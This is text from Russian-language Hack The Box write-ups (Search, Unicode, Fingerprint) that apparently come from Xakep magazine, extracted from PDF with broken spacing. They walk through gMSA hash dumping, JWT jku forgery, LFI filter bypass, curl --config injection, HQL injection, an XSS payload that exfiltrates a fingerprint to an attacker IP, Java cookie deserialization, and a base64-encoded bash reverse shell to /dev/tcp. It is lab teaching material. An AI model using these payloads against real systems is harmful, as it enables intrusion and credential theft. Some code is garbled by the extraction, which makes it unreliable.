вход невоз можен. Это свя зано с тем, что пароль не известен никому и не хра- 
нит ся в локаль ной сис теме, поэто му его нель зя извлечь из сис темно го про- 
цес са LSASS с помощью mimikatz.

Но и такими учет ными запися ми нуж но как-то управлять, а это зна чит, что,
если у нас есть к ним дос туп, мы можем получить хеш пароля. Для это го
написан инс тру мент . Исполь зуем его:gMSADumper

   python3 gMSADumper.py -d search.htb -u 'Sierra.Frye' -p
'$$49=wide=STRAIGHT=jordan=28$$18'

По луче ние хеша учет ной записи

У нас есть хеш пароля учет ной записи! Поп робу ем соз дать сес сию это го
поль зовате ля. Не ука зыва ем пароль явно, вмес то это го заг ружа ем его 

.

msDS-
ManagedPassword

$username = 'BIR-ADFS-GMSA$'
$gmsa = Get-ADServiceAccount -Identity $username -Properties 
'msDS-ManagedPassword'
$passwd =  ConvertFrom-ADManagedPasswordBlob $gmsa.
'msDS-ManagedPassword'
$credential = New-Object System.Management.Automation.PSCredential 
$username,$passwd.SecureCurrentPassword
Invoke-command -computername localhost -credential $credential 
-scriptblock { whoami };

Соз дание сес сии поль зовате ля и выпол нение коман ды whoami

Те перь по нашему пла ну сме ним пароль вто рого поль зовате ля (я пос тавлю
).ralfpass

Invoke-command -computername localhost -credential $credential 
-scriptblock { net user Tristan.Davies ralfpass /domain };

Сме на пароля поль зовате ля

Про веря ем новый пароль с помощью CME.

crackmapexec smb search.htb -u Tristan.Davies -p ralfpass 

Про вер ка уста нов ленно го пароля

И соз даем новую сес сию, теперь при виле гиро ван ную.

$username = 'search.htb\Tristan.Davies'
$password = 'ralfpass';
$securePassword = ConvertTo-SecureString $password -AsPlainText 
-Force;
$credential = New-Object System.Management.Automation.PSCredential 
$username, $securePassword;
Invoke-command -computername localhost -credential $credential 
-scriptblock { whoami };

Соз дание сес сии поль зовате ля и выпол нение коман ды whoami

Мы работа ем как адми нис тра тор, в качес тве под твержде ния чита ем флаг
рута.

Флаг рута

Ма шина зах вачена!

https://github.com/openwall/john/blob/bleeding-jumbo/run/pfx2john.py
https://xakep.ru/2021/09/07/fck-amsi/
https://github.com/BloodHoundAD/BloodHound
https://github.com/micahvandeusen/gMSADumper
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ПОДДЕЛЫВАЕМ ТОКЕН JWT
И ЗАХВАТЫВАЕМ СЕРВЕР
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ВЗЛОМ

Се год ня мы порабо таем с токена ми JWT,
про экс плу ати руем LFI в обход филь тра
и раз ревер сим ELF-файл, написан ный
на Python 3.9. Все это поможет нам прой ти
сред нюю по слож ности машину Unicode
с пло щад ки .Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем IP-адрес машины в :/etc/hosts

. . .     .10 10 11 126 unicode htb

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Мы наш ли два откры тых пор та:
22 — служ ба OpenSSH 8.2p1;•
80 — веб-сер вер Nginx 1.18.0.•

Нач нем с иссле дова ния сай та.

Глав ная стра ница сай та

На пер вой же стра нице видим откры тый редирект. Это сто ит отме тить, так
как редирек ты мож но исполь зовать для обхо да ряда филь тров и про верок.
Так же на сай те есть воз можность зарегис три ровать ся и авто ризо вать ся.
Сде лаем и то и дру гое. Работу желатель но вес ти в , что бы у нас

оста вались все записи.

Burp Proxy

Burp Proxy

Пос ле логина видим редирект с прис воен ным иден тифика тором сес сии .

И сра зу под меча ем нес коль ко новых воз можнос тей пос ле авто риза ции.

auth

Глав ная стра ница сай та пос ле авто риза ции

Уда лось най ти фор му заг рузки фай лов, но ее тес тирова ние ни к чему не при- 
вело. Вер немся к иден тифика тору сес сии — это JWT. JSON Web Token сос- 
тоит из трех час тей: заголов ка (header), полез ной наг рузки (payload) и под- 
писи. Заголо вок и полез ная наг рузка пред став ляют собой объ екты JSON,
при этом наг рузка может быть любой, это имен но те кри тичес ки важ ные дан- 
ные, которые переда ются при ложе нию. Заголо вок содер жит опре делен ные
поля:

 — алго ритм, исполь зуемый для под писи/шиф рования. Это обя затель-
ный ключ;

• alg

 — тип токена. Это поле дол жно иметь зна чение .• typ JWT

Тре тий эле мент вычис ляет ся на осно вании пер вых и зависит от выб ранно го
алго рит ма. Токены могут быть переко диро ваны в ком пак тное пред став ление:
к заголов ку и полез ной наг рузке при меня ется алго ритм Base64-URL, пос ле
чего добав ляет ся под пись и все три эле мен та раз деля ются точ ками. К при- 
меру, мож но с помощью  декоди ровать заголо вок.Burp Inspector

Де коди рован ный заголо вок

Поп робу ем разоб рать эти дан ные. Для это го нам понадо бит ся либо при ложе- 
ние , либо онлай новый ресурс . Я буду исполь зовать вто рой

вари ант. В заголов ке у нас при сутс тву ет параметр . Он опре деля ет URI,

который ука зыва ет на ресурс, где находит ся ключ про вер ки под писи в пред- 
став лении JWKS (JSON Web Key Set). В качес тве под писан ных дан ных исполь- 
зует ся имя поль зовате ля.

jwt_tool jwt.io

jku

Де коди рова ние JWT

Вер немся к парамет ру , там мы находим еще один домен, который

допишем в файл .

jku
/etc/hosts

. . .     .  .10 10 11 126 hackmedia htb unicode htb

JSON Web Key Set (JWKS) — это набор откры тых клю чей, которые исполь- 
зуют ся для про вер ки веб-токена, выпущен ного сер вером авто риза ции и под- 
писан ного с исполь зовани ем алго рит ма под писи RS256. RS256 генери рует
асим метрич ную под пись. Что бы под писать JWT, дол жен исполь зовать ся зак- 
рытый ключ, а для про вер ки под писи нужен дру гой откры тый ключ. Прос- 
мотреть струк туру JWKS мы можем, обра тив шись к URL, ука зан ному в jku, —

.http://hackmedia.htb/static/jwks.json

Ис поль зуемый JWKS

Даль нейший век тор оче виден: необ ходимо изме нить имя поль зовате ля
на , что даст нам при виле гиро ван ный кон текст, под писать новые дан- 

ные, сге нери ровать новый JWT и заменить ста рый на веб-сер висе.

admin

ÒÎ×ÊÀ ÂÕÎÄÀ

Те перь раз берем ся с под писью. В заголов ке ука зан адрес JWKS, что дает
нам сле дующую идею: сге нери ровать свою пару клю чей для под писи токена
и соот ветс тву ющий им JWKS. Мы помес тим JWKS на сво ем веб-сер вере
и затем в заголов ке про пишем адрес, ука зыва ющий на этот сер вер.
Для генери рова ния клю чей вос поль зуем ся сай том . Выс тавим
исполь зуемые парамет ры и получим клю чи.

mkjwk.org

Ге нери рова ние клю чей

Те перь вер немся к токену на jwt.io. Изме ним имя поль зовате ля на ,

в парамет ре  ука жем файл на сво ем сер вере (веб-сер вер запус каем

коман дой ). Файл дол жен содер жать дан ные
из фор мы Public Key. Для под писи исполь зуем пару клю чей из форм Private
Key (X.509 PEM Format) и Public Key (X.509 PEM Format).

admin
jku

python3 -m http.server 80

Соз дание JWT-токена

Встав ляем дан ный токен в Burp и пос ле зап роса получа ем ответ об ошиб ке
про вер ки .jku

От вет от сер вера

При этом на наш веб-сер вер зап рос не при шел. Зна чит, есть про вер ка того,
какой сер вер ука зан в . Тог да исполь зуем откры тый редирект! Он будет

перенап равлять на наш сер вер зап росы, совер шаемые для про вер ки :

jku
jku

http://hackmedia.htb/static/../redirect/?url=10.10.14.73/jwks.json 

Но вые парамет ры JWT

При исполь зовании нового JWT видим, что на наш сер вер при шел зап рос.

Ло ги веб-сер вера

Но дос туп мы не получа ем. Ско рее все го, это свя зано с дан ными в фай ле
JWKS. Прос мотрим тог да файл с сер вера и изме ним в нем толь ко параметр 

(  и так сов пада ет). Вновь посылая зап рос через Burp, получа ем новый ответ.

Перехо дим в бра узер и, исполь зуя рас ширения вро де , встав- 
ляем новый JWT и обновля ем стра ницу.

n
e

Cookie Editor

Па нель адми нис тра тора

В ито ге получа ем адми нис тра тив ную панель.

Продолжение статьи →
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Изу чая сайт, сра зу натыка емся на стра ницу, которая переда ет кон тент
в парамет ре.

Стра ница /display

Поп робу ем ука зать там какой-нибудь файл, нап ример .
Но получа ем ошиб ку и сооб щение о том, что исполь зует ся филь тр.

/etc/passwd

Со обще ние, что обна руже на ата ка

Тог да я при менил сло варь, в котором содер жатся раз ные спо собы обхо да
филь тров для LFI, и получил отличную от осталь ных реак цию сер вера.

Со дер жимое фай ла /etc/hosts

Сер вер про пус тил зап рос с исполь зовани ем сим вола «две точ ки» ( ).U+2025
Те перь про верим полез ные фай лы в Linux. Из фай ла  получим

спи сок поль зовате лей с коман дной обо лоч кой: alex и code.
/etc/passwd

Со дер жимое фай ла /etc/passwd

Из фай ла кон фигура ции веб-сер вера Nginx 

 узна ем о дирек тории  и фай ле , в котором
нашел ся пароль поль зовате ля.

/etc/nginx/sites-available/
default /home/code/app/ db.yaml

Со дер жимое фай ла /etc/nginx/sites-available/default

Со дер жимое фай ла /home/code/app/db.yaml

С этим паролем под клю чаем ся по SSH и забира ем пер вый флаг.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Пер вым делом нуж но про верять наибо лее веро ятные мес та повыше ния при- 
виле гий: нас трой ки sudoers, при ложе ния с выс тавлен ным битом SUID, прос- 
лушива емые на локал хосте пор ты.

Нам везет с sudoers.

Нас трой ки судо ера

Вве дя , видим, что в нас трой ках про писан при виле гиро ван ный запуск
поль зователь ско го скрип та  без вво да пароля

(NOPASSWD). Прос мотрим содер жимое фай ла. Ути лита  опре деля ет его

как исполня емый файл ELF.

sudo -l
/usr/bin/treport

file

Про вер ка фай ла

При тес товом запус ке попыта емся выз вать ошиб ку в надеж де получить
какое-нибудь сооб щение. И это го лег ко уда ется добить ся.

Ошиб ка дос тупа к фай лу

Из тек ста ошиб ки понима ем, что это ском пилиро ван ные фай лы Python. Что ж,
будем ревер сить! А для это го заль ем их на локаль ную машину:

scp code@unicode.htb:/usr/bin/treport ./ 

Что бы вытащить скрип ты из фай ла ELF, исполь зуем .pyinstxtractor

Из вле чение скрип тов

В катало ге с получен ными фай лами находим глав ный PYC-файл. PYC —
это байт-код Python, который нуж но деком пилиро вать. Я поп робовал исполь- 
зовать для это го популяр ную прог рамму , но ничего не получи- 

лось.

uncompyle6

Со дер жимое катало га /treport_extracted

Ошиб ки uncompyle6

В поис ках спо собов деком пиляции я нат кнул ся на репози торий . Заг- 
рузим и соберем этот про ект.

pycdc

git clone https://github.com/zrax/pycdc.git 
cd pycdc 
cmake CMakeLists.txt 
make 

Нас трой ка генера тора сбор ки

Сбор ка про екта

А теперь получим деком пилиро ван ный код на Python.

Де ком пилиро вание treport.pyc

Эта прог рамма зап рашива ет номер опции, а потом выпол няет одну из фун- 
кций: соз дание, чте ние или заг рузку фай ла. Если выб рана заг рузка, то
с помощью  выпол няет ся сис темная коман да — вызов curl. Здесь
мож но было бы выпол нить инъ екцию коман ды, но прос то так это сде лать
не получит ся — из-за филь тра ции.

os.system

Пот ратив некото рое вре мя на поис ки лазей ки, я обра тил вни мание
на полез ные сим волы, которые отсутс тву ют в спис ке филь тра: фигур ные
скоб ки и запятую. Это мож но исполь зовать для раз деления слов как замену
про бела. Нап ример,  будет экви вален тно {1,2,3} .1 2 3

Даль ше слож нее. Нуж но попытать ся исполь зовать один из парамет ров
коман ды  для выпол нения дей ствий, которые делать этой коман дой

не пред полага лось. Так я нашел параметр , которо му нуж но

передать путь к фай лу кон фигура ций. Мы можем передать любой файл (кро- 
ме легитим ного), и это поможет выз вать ошиб ку, которая отоб разит содер- 
жимое фай ла. А так как прог рамму мож но запус тить в при виле гиро ван ном
кон тек сте, мы можем вывес ти SSH-ключ или сра зу флаг рута.

curl
--config

{--config,/root/.ssh/authorized_keys}

SSH-ключ

{--config,/root/root.txt}

Флаг рута

Та ким слож ным, но инте рес ным путем мы зах ватили эту машину.

https://unicode-table.com/ru/2025/
https://github.com/extremecoders-re/pyinstxtractor
https://github.com/zrax/pycdc
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ВЗЛОМ

В этом рай тапе мы исполь зуем LFI
для получе ния исходно го кода при ложе ния,
XSS — для получе ния фин гер прин та поль- 
зовате ля, обой дем авто риза цию через
HQL-инъ екцию, заюзаем баг в при ложе нии
на Java и нем ного покодим на Python, что бы
получить при ват ный ключ. В зак лючение —
раз берем ошиб ку в шиф ровании и узна ем
сек рет!

Все это — в рам ках про хож дения «безум ной» по слож ности машины
Fingerprint с пло щад ки .Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.127    fingerprint.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

На ходим три откры тых пор та:
22 — служ ба OpenSSH 7.6p1;•
80 — веб-сер вер Werkzeug httpd 1.0.1;•
8080 — веб-сер вер GlassFish Open Source Edition 5.0.1.•

На ша точ ка вхо да — это навер няка один из двух веб-сер веров. Но, изу чив
сай ты, я ничего инте рес ного не нашел. Давай тог да поищем скры тый кон тент.

Справка: сканирование веба c ffuf
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле- 
дующие парамет ры:

ffuf

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t
 — URL;• -u

 — исклю чить из резуль тата отве ты с кодом 403.• -fc

За пус каем ffuf:

ffuf  256 -u http://fingerprint.htb/FUZZ -t -w directory_2.3_medium_
lowercase.txt 

Ре зуль тат ска ниро вания катало гов с помощью ffuf

ffuf  256 -u http://fingerprint.htb:8080/FUZZ -t -w directory_2.3_
medium_lowercase.txt 

Ре зуль тат ска ниро вания катало гов с помощью ffuf

По явля ются новые инте рес ные катало ги.  спо собен сос тавлять кар ты

сай та, чем мы и вос поль зуем ся. В дан ном слу чае на пос тро енной кар те обна- 
ружим конеч ные точ ки, которые мы бы дол го иска ли при гру бом ска ниро- 
вании.

Burp

Кар та сай та ngerprint.htb

Те перь важ но най ти мес то, отку да мы перехо дим к конеч ным точ кам. Исто рия
и поиск в Burp выводят нас на стра ницу ./admin

Burp History

Продолжение статьи →
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LFI

Че рез стра ницу  мож но прос матри вать фай лы, поэто му про- 

верим, нет ли тут уяз вимос ти чте ния про изволь ных фай лов в сис теме.
Для перебо ра фай лов я буду исполь зовать .

/admin/view/

Burp Intruder

Burp Intruder — вклад ка Positions

И прос тая пос ледова тель ность  отоб разит нам содер- 
жимое фай ла ! Это так же поз волит нам узнать домаш ний каталог

поль зовате ля . А это озна чает дос туп к исходни кам сер вера!

/../..//etc/passwd
/etc/passwd
flask

Со дер жимое фай ла /etc/passwd

Сто ит поп робовать получить содер жимое некото рых стан дар тных фай лов.
Так,  ничего не выводит, а  все же дает код при- 

ложе ния (путь ).

app/__init__.py app/app.py
/admin/view//../..//home/flask/app/app.py

Ис ходный код app.py

Те перь у нас есть ключ при ложе ния (стро ка 19), а так же видим импорт фун- 
кции  из модуля  (стро ка 8). Зап росим этот файл:check auth

/admin/view/../..//home/flask/app/auth.py 

Ис ходный код auth.py

В стро ке 13 рас кры вает ся файл базы дан ных с учет ными дан ными. А в стро- 
ке 16 с помощью фун кции  фор миру ется зап рос.

Сама фун кция импорти рует ся из модуля . Получим сле дующие фай лы:

build_safe_sql_where
util

• /admin/view/../..//home/flask/app/users.db
• /admin/view/../..//home/flask/app/util.py

Со дер жимое фай ла users.db

Со дер жимое фай ла util.py

Из фай ла базы получа ем учет ные дан ные
: . Исполь зуя их, можем авто ризо- 

вать ся на сай те и получить дос туп к логам.

admin u_will_never_guess_this_password

Стра ница Logs

Боль ше здесь ничего добыть не можем.

HQL injection + XSS = fingerprint

Тог да поп робу ем авто ризо вать ся с получен ными учет ными дан ными на дру-
гом сер висе. Конеч но, там нас ждет неуда ча, но на стра нице логов раз мер
фай ла уве личит ся.

Стра ница Logs

А в самом фай ле будет ука зан адрес, логин и циф ровой отпе чаток поль- 
зовате ля, который попытал ся авто ризо вать ся.

Со дер жимое фай ла auth.log

Так как логином и отпе чат ком мы можем опе риро вать при авто риза ции, есть
воз можность получить XSS. Но к это му вер немся чуть поз же. На сер вере
исполь зует ся база дан ных, а это зна чит, что сто ит поп робовать обой ти аутен- 
тифика цию. На GitHub есть мно го сло варей типа auth bypass, и пер вая же наг- 
рузка дает сле дующую ошиб ку.

Ошиб ка сер вера при обхо де авто риза ции SQL

По луча ем ошиб ку JDBC, а это зна чит, что нуж но выб рать наг рузки для HQL.
Боль шая часть ока жет ся заб локиро вана, но вот такая наг рузка дает резуль- 
тат:

x' OR SUBSTRING(username,1,1)='a' and ''='

Нам сооб щают про невер ный циф ровой отпе чаток (
).

Invalid fingerprint 
ID

Со обще ние о бло киров ке зап роса

Та ким обра зом, нам нуж но получить циф ровой отпе чаток адми нис тра тора,
в чем нам может помочь уяз вимость XSS. Сно ва попыта емся авто ризо вать ся
на вто ром сер висе, но вмес то фин гер прин та отпра вим наг рузку:

<script src="http://10.10.14.156:4321/evil.js"></script>

Она будет заг ружать с нашего сер вера скрипт с кодом .alert('test')

Зап рос с наг рузкой XSS

Про вер ка уяз вимос ти XSS

Уяз вимость при сутс тву ет, зна чит про дол жаем. Обыч но фин гер принт генери- 
рует ся кодом на JS из мно жес тва парамет ров вро де раз мера экра на, наз- 
вания и вер сии бра узе ра и про чих приз наков. Нам нуж но най ти этот код
и записать в скрипт на нашем сер вере. В Burp History мож но уви деть заг рузку
скрип та , он-то нам и нужен.login.js

Со дер жимое login.js

Ко пиру ем содер жимое скрип та и добав ляем в кон це код, который отпра вит
сге нери рован ный фин гер принт на наш сер вер:

location.href="http://10.10.14.156:4321/?id="+getFingerPrintID(); 

Пос ле пов торно го зап роса на авто риза цию получим фин гер принт на наш
сер вер.

Ло ги локаль ного веб-сер вера

Но и отправ ляя этот фин гер принт, мы получа ем ту же ошиб ку: 
.

Invalid 
fingerprint - ID

От вет сер вера

Де ло в том, что HQL-наг рузка работа ет, если пер вый сим вол име ни поль- 
зовате ля будет . Но, видимо, мы получи ли фин гер принт дру гого поль зовате- 
ля. Тог да перебе рем пер вый сим вол име ни поль зовате ля с помощью 

.

a
Burp

Intruder

Burp Intruder — вклад ка Positions

Burp Intruder — вклад ка Payloads

Burp Intruder — резуль тат перебо ра

Мы выяс нили, что пер вый сим вол логина — , к тому же мы получа ем дос туп

на сайт.

m

Глав ная стра ница сай та для авто ризо ван ного поль зовате ля

Кноп ка для заг рузки фай ла ока залась нерабо чей. Тог да перек лючим вни- 
мание на иден тифика тор сес сии поль зовате ля — Cookie. Судя по струк туре,
это токен JWT, при чем в поле дан ных содер жится так же закоди рован ная
информа ция.

Зап рос поль зовате ля в Burp Repeater

Де коди ровав дан ные, получим какой-то набор сим волов, в котором прог- 
лядыва ются стро ки. Ско рее все го, на сай те исполь зует ся сери али зация объ- 
ектов. К тому же мы видим что-то похожее на логин и пароль.

Де коди рован ные дан ные

Продолжение статьи →
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Пов торим ска ниро вание веб-кон тента, толь ко теперь будем искать фай лы
с рас ширени ем .*.java

ffuf    256 -u 'http://fingerprint.htb:8080/backups/FUZZ.java' -t -w 
directory_2.3_medium.txt 

Ска ниро вание фай лов Java

По луча ем два фай ла. Ска чива ем их для ана лиза.

Со дер жимое фай ла Prole.java

Со дер жимое фай ла User.java

Боль ше все го нас инте ресу ет файл , так как он содер жит объ ект,
под лежащий сери али зации. Теперь нам нуж но соз дать про ект, куда мы
помес тим , сох раняя все пути.

User.java

User.java

Струк тура про екта

Идея зак люча ется в том, что бы взять сери али зован ный объ ект из куки,
десери али зовать его в нашей прог рамме, изме нить имя поль зовате ля
на  и сери али зовать сно ва. Это поз волит нам под менить куки. В 

 оста вим все перемен ные, но сде лаем толь ко один метод для изме нения
име ни поль зовате ля.

admin User.
java

 package com.admin.security.src.model;

 import java.io.Serializable;

     public class User implements Serializable {
        private static final long serialVersionUID = -7780857363453462165L
;
    protected int id;
    protected String username;
    protected String password;
    protected String fingerprint;

      public void setUsername(String username) {
        this.username = username;

  }
}

Те перь файл . Тут-то мы и будем рез вить ся c нашим объ ектом.Main.java

 import com.admin.security.src.model.User;

 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.ObjectInputStream;
 import java.io.ObjectOutputStream;
 import java.util.Base64;

   public class Main {
       public static void main(String[] args) {

       try {
             String cookie =

"rO0ABXNyACFjb20uYWRtaW4uc2VjdXJpdHkuc3JjLm1vZGVsLlVzZXKUBNdz41+5awIA
BEkAAmlkTAALZmluZ2VycHJpbnR0ABJMamF2YS9sYW5nL1N0cmluZztMAAhwYXNzd29yZ
HEAfgABTAAIdXNlcm5hbWVxAH4AAXhwAAAAA
nQAQDdlZjUyYzI1MWY4MDQ0Y2IxODcwMTM5OTI4OTFkMGU1OGNlOTE5NGRlN2Y1MzViMW
I0ZmE2YmJmZTA4Njc4ZjZ0ABRMV2c3Z1VSMUVtWDdVTnhzSnhxWnQAC21pY2hlYWwxMjM
1"
;

             byte[] serializedUserBytes = Base64.getDecoder().decode(
cookie);

              ByteArrayInputStream serializedUserInputStream = new
ByteArrayInputStream(serializedUserBytes);

              ObjectInputStream objectInputStream = new
ObjectInputStream(serializedUserInputStream);

             User user = (User)objectInputStream.readObject();
          user.setUsername("admin");

              ByteArrayOutputStream serializedUserOutputStream = new
ByteArrayOutputStream();

              ObjectOutputStream objectOutputStream = new
ObjectOutputStream(serializedUserOutputStream);
          objectOutputStream.writeObject(user);

             String serializedAdminUserBase64 = Base64.getEncoder().
encodeToString(serializedUserOutputStream.toByteArray());

            System.out.println("New cookie: " +
serializedAdminUserBase64);
      }

         catch (Exception e) {
          System.out.println(e);
      }
  }
}

Нас тра иваем кон фигура цию запус ка.

Кон фигура цию запус ка

И пос ле стар та получа ем новый сери али зован ный объ ект. Новый JWT нуж но
будет перепод писать, бла го сек ретный ключ у нас есть. Для соз дания JWT
исполь зуем .jwt.io

Соз дание Cookie

Соз дание JWT

Вста вив куки, мы получа ем сес сию адми нис тра тора, но заг рузка фай лов
до сих пор не работа ет.

Фор ма заг рузки фай лов

Тог да будем даль ше раз бирать ся с исходны ми кодами. В обо их ска чан ных
фай лах есть импорт клас са . При этом метод

 вызыва ется в .
UserProfileStorage

readObject Profile.java

Со дер жимое фай ла Prole.java

Поп робу ем заг рузить такой файл, а затем откро ем для ана лиза.

Со дер жимое фай ла UserProleStorage.java

Боль ше все го инте рес ны стро ки 44–45, где фор миру ется коман да ОС,
а потом и выпол няет ся в тер минале. Замыка ет кон вей ер коман да ,
к которой добав ляет ся имя поль зовате ля. Но это про исхо дит, если про вер ка

 успешна. При этом имя поль зовате ля исполь зует ся как наз- 

вание фай ла логов. Давай поп робу ем выпол нить инъ екцию коман ды ,

для чего исполь зуем сле дующее имя поль зовате ля:

grep

isAdminProfile
ping

user.setUsername("test$(ping -c 4 10.10.14.156)/../admin");

Пос ле генера ции куки, соз дания и при мене ния JWT получа ем завет ный пинг
(прос лушива ем с помощью ).tcpdump -i tun0 icmp

Ло ги tcpdump

Так как уяз вимость под твер дилась, про кинем прос той реверс-шелл. Для это-
го наг рузку  закоди руем

в Base64 и соз дадим кон вей ер для ее запус ка.

/bin/sh -i >& /dev/tcp/10.10.14.156/5432 0>&1

user.setUsername("test$(echo 
L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNTYvNTQzMiAwPiYxCg== | 
base64 -d | bash)/../admin");

В окне лис тенера получа ем бэк коннект.

Сес сия поль зовате ля www-data

Продолжение статьи →

https://jwt.io/


HTB FINGERPRINT
ПОДДЕЛЫВАЕМ ЦИФРОВОЙ ОТПЕЧАТОК

ДЛЯ ДОСТУПА К ЗАКРЫТОМУ КОНТЕНТУ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÏÐÎÄÂÈÆÅÍÈÅ

Те перь, ког да мы получи ли дос туп к хос ту, нам необ ходимо соб рать
информа цию. Источни ков мно го, я в таких слу чаях при меняю скрип ты PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате.

Privilege Escalation
Awesome Scripts SUITE

Пос ле выпол нения скрип та нуж но выб рать самую важ ную информа цию, в этот
раз обра тим вни мание на то, что:

есть при ложе ние  с выс тавлен ным битом SUID;• cmatch
в катало ге  есть бэкап при ложе ния на Flask;• /var/backups/
для локал хоста прос лушива ется порт 8088.•

При ложе ния с SUID-битом

Со дер жимое катало га /var/backups

Прос лушива емые пор ты

Бэ кап дос тупен толь ко груп пе поль зовате ля john, от име ни которо го и будет
запус кать ся при ложе ние . Само при ложе ние пред став ляет

собой исполня емый файл ELF.

/usr/bin/cmath

Про вер ка фай ла cmath

Ска чива ем файл на локаль ный хост для ана лиза. Я буду исполь зовать 

. Судя по деком пилиро ван ному коду, мож но пред положить, что при ложе- 

ние написа но на язы ке Go. При запус ке сра зу про веря ется количес тво аргу- 
мен тов прог раммы.

IDA

Pro

Со обще ние о недопус тимом количес тве аргу мен тов

Прог рамма при нима ет два аргу мен та (стро ки 49–56): путь к фай лу и стро ку.
Затем откры вает ся файл и про изво дит ся посим воль ное чте ние (стро ки 57–
88). В кон це в счи тан ном фай ле ищет ся стро ка и выводит ся сооб щение
о количес тве вхож дений подс тро ки.

Де ком пилиро ван ный код прог раммы

Де ком пилиро ван ный код прог раммы (про дол жение)

В качес тве тес та про верим, что мы все пра виль но разоб рали.

Тес товый запуск при ложе ния

Так как при ложе ние работа ет от име ни поль зовате ля john, мы можем
получить дос туп к любому фай лу это го поль зовате ля, в том чис ле и сек ретно- 
му клю чу. А бла года ря воз можнос ти узнать чис ло вхож дений подс тро ки
в файл мы можем получить весь файл посим воль но! Суть в том, что, зная
начало фай ла, мы смо жем добав лять на каж дом шаге по сим волу и переби- 
рать его до тех пор, пока не будет отве та . Пос ле это го

перехо дить к под бору сле дующе го сим вола.

Found matches: 1

На чало сек ретно го клю ча поль зовате ля

Для посим воль ного под бора я написал сле дующий скрипт. Он поз волил
получить весь сек ретный ключ.

 import os

             
              

             

alf = [' ','a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l'
, 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y',
'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', '

              
              
    

M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',
'=', '/', '-', ':', ',', '1', '2', '3', '4', '5', '6', '7', '8', '9',
'0', '\+', '\r', '\n', '\t']

  cur_file = '-----BEGIN'
  end_file = '-----END'

  ind = 0
   while(end_file not in cur_file):

     for c in alf:
          s = cur_file + c

        count = os.popen(f'/usr/bin/cmatch /home/john/.ssh/id_rsa "{s}
"').read()[15:]

        if(int(count) == 1):
            cur_file += c

          print(cur_file)
          break

Часть сек ретно го клю ча поль зовате ля

Но авто ризо вать ся мы все рав но не можем, так как ключ зашиф рован и тре- 
бует ся допол нитель ный пароль. В поис ках пароля я решил перес мотреть
исходные коды при ложе ния. Так, при поис ке подс тро ки  получа ем три
фай ла.

passw

Фай лы, содер жащие подс тро ку passw

Ска чива ем пер вые два, откры ваем в деком пилято ре и во вто ром находим
пароль гибер нации.

Со дер жимое фай ла HibernateUtil.class

С помощью это го пароля получи лось рас шифро вать сек ретный ключ поль- 
зовате ля. Так мы забира ем флаг поль зовате ля и получа ем ста биль ный дос туп
по SSH.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Те перь мы можем получить дос туп к бэкапу при ложе ния на Flask. Ска чива ем
